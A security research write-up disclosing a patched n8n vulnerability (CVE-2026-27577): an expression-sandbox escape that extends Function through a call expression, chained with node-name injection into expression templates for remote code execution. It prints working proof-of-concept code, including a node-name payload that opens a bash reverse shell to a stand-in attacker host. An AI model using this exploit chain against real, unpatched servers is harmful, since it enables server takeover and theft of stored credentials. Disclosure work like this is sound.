Striga
← Back to researchBreaking n8n's Expression Sandbox into Remote Code Execution

How Striga uncovered a critical sandbox escape and unsanitized node name injection in n8n's expression engine, chaining them into full Remote Code Execution.

Bartłomiej Dmitruk

Overview

n8n is one of the most popular open-source workflow automation platforms with over 230,000 active users and nearly 200 million Docker pulls. One of its core features is an expression engine that lets users embed JavaScript snippets in workflow node fields, a powerful capability that demands robust sandboxing.

During a security assessment of n8n using Striga, our AI-driven vulnerability detection platform, we identified two critical vulnerabilities in the expression evaluation pipeline. Individually, each presents a significant risk. Chained together, they give any authenticated user with workflow editing permissions full Remote Code Execution on the server.

The vulnerability was assigned CVE-2026-27577 with a CVSS 4.0 score of 9.4 (Critical).

How n8n Sandboxes Expressions

n8n uses the Tournament library to evaluate expressions. Before execution, the expression source is parsed into an AST (Abstract Syntax Tree) and passed through a series of visitors that validate the tree structure.

The key defender here is the PrototypeSanitizer, a visitor that prevents users from extending dangerous base classes like Function, GeneratorFunction, AsyncFunction, and AsyncGeneratorFunction. Extending any of these would let an attacker construct arbitrary functions and break out of the sandbox.

The blocked classes are defined in packages/workflow/src/expression-sandboxing.ts:

const blockedBaseClasses = new Set([
  "Function",
  "GeneratorFunction",
  "AsyncFunction",
  "AsyncGeneratorFunction",
]);

The validation logic sits in the visitClassDeclaration method:

visitClassDeclaration(path) {
    this.traverse(path);
    const node = path.node;
 
    if (node.superClass?.type === 'Identifier'
        && blockedBaseClasses.has(node.superClass.name)) {
        throw new ExpressionClassExtensionError(node.superClass.name);
    }
},

This means writing class Z extends Function {} in an expression correctly throws an error. The sanitizer detects the Identifier node with name Function and blocks it.

It does not check for anything else. Striga flagged this as a potential sandbox escape vector.

The Sandbox Bypass

The sanitizer checks for Identifier nodes. A CallExpression, a function call that returns Function at runtime, is not an Identifier. The sanitizer doesn't inspect it.

class Z extends (() => Function)() {}

(() => Function)() evaluates to Function at runtime, but its AST node type is CallExpression. The sanitizer sees CallExpression, not Identifier, and moves on. No error thrown. The class now extends Function:

new Z("return process.version")();

Wrapped in n8n's {{ }} expression syntax and placed in any expression field, this returns the Node.js version running on the server. Two lines. That's the distance between a sandboxed expression and full server access.

What's Accessible

Striga generated proof-of-concept payloads for this bypass. Our team verified them against a live n8n instance. We confirmed access to process.version, process.env (database credentials, API keys, ENCRYPTION_KEY), and arbitrary command execution via process.mainModule.require("child_process").

The Second Link: Node Name Injection

During the same scan, Striga independently flagged multiple locations across the codebase where node names are interpolated directly into expression strings without any sanitization. Combined with the sandbox bypass, these injection points form a direct path to RCE.

packages/nodes-base/nodes/Form/utils/formNodeUtils.ts

title = context.evaluateExpression(
  `{{ $('${trigger?.name}').params.formTitle }}`,
) as string;

packages/nodes-base/nodes/Evaluation/utils/evaluationUtils.ts

this.evaluateExpression(`{{ $('${evalTrigger?.name}').isExecuted }}`, 0);

The same pattern appears in two more locations across Form.node.ts and formNodeUtils.ts. Node names go straight into expression templates. No escaping. No validation. Any workflow editor can rename any node to any string, including JavaScript.

Chaining: From Node Name to RCE

Reviewing Striga's findings, our team connected the two vulnerabilities into a single attack chain. Here's how it works against the Form Trigger flow.

Create a workflow with a Form Trigger connected to a Form node named Form Page 2. Set the Form Trigger's responseMode to lastNode.

Now rename the Form Trigger node to:

Form Page 2') + (() => { class Z extends (() => Function)() {} return new Z('process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")')(); })() + $('Form Page 2

When the workflow executes, formNodeUtils.ts evaluates:

{
  {
    $("Form Page 2") +
      (() => {
        class Z extends (() => Function)() {}
        return new Z(
          'process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/ATTACKER/4444 0>&1")',
        )();
      })() +
      $("Form Page 2").params.formTitle;
  }
}

The node name breaks out of the string context and injects the sandbox bypass. The expression engine evaluates it. The server executes the reverse shell payload.

Form rendered after payload execution

The form renders with [object Object]okundefined as its title, an artifact of the injected expression concatenating with the original template. By this point, the payload has already executed on the server.

Reverse shell connection

Impact

Any authenticated user with workflow editing permissions can execute arbitrary commands on the server, access all environment variables and stored credentials, and pivot to internal networks. The sandbox bypass can also be triggered through direct expression fields and $fromAI() descriptions. Node name injection is just one of several entry points.

This affects all n8n deployments where users have workflow editing permissions.

Fix

Both vulnerabilities have been patched by the n8n team in the release published on 25 Feb 2026. Self-hosted users should update to the newest version. n8n Cloud deployments have been patched automatically.

Disclosure Timeline

Date Event
9 Feb 2026 Vulnerabilities discovered during security assessment with Striga
10 Feb 2026 Report submitted to n8n via GitHub Security Advisory
11 Feb 2026 Report validated and accepted by n8n security team
18 Feb 2026 Patch implemented
25 Feb 2026 New version released alongside public advisory

References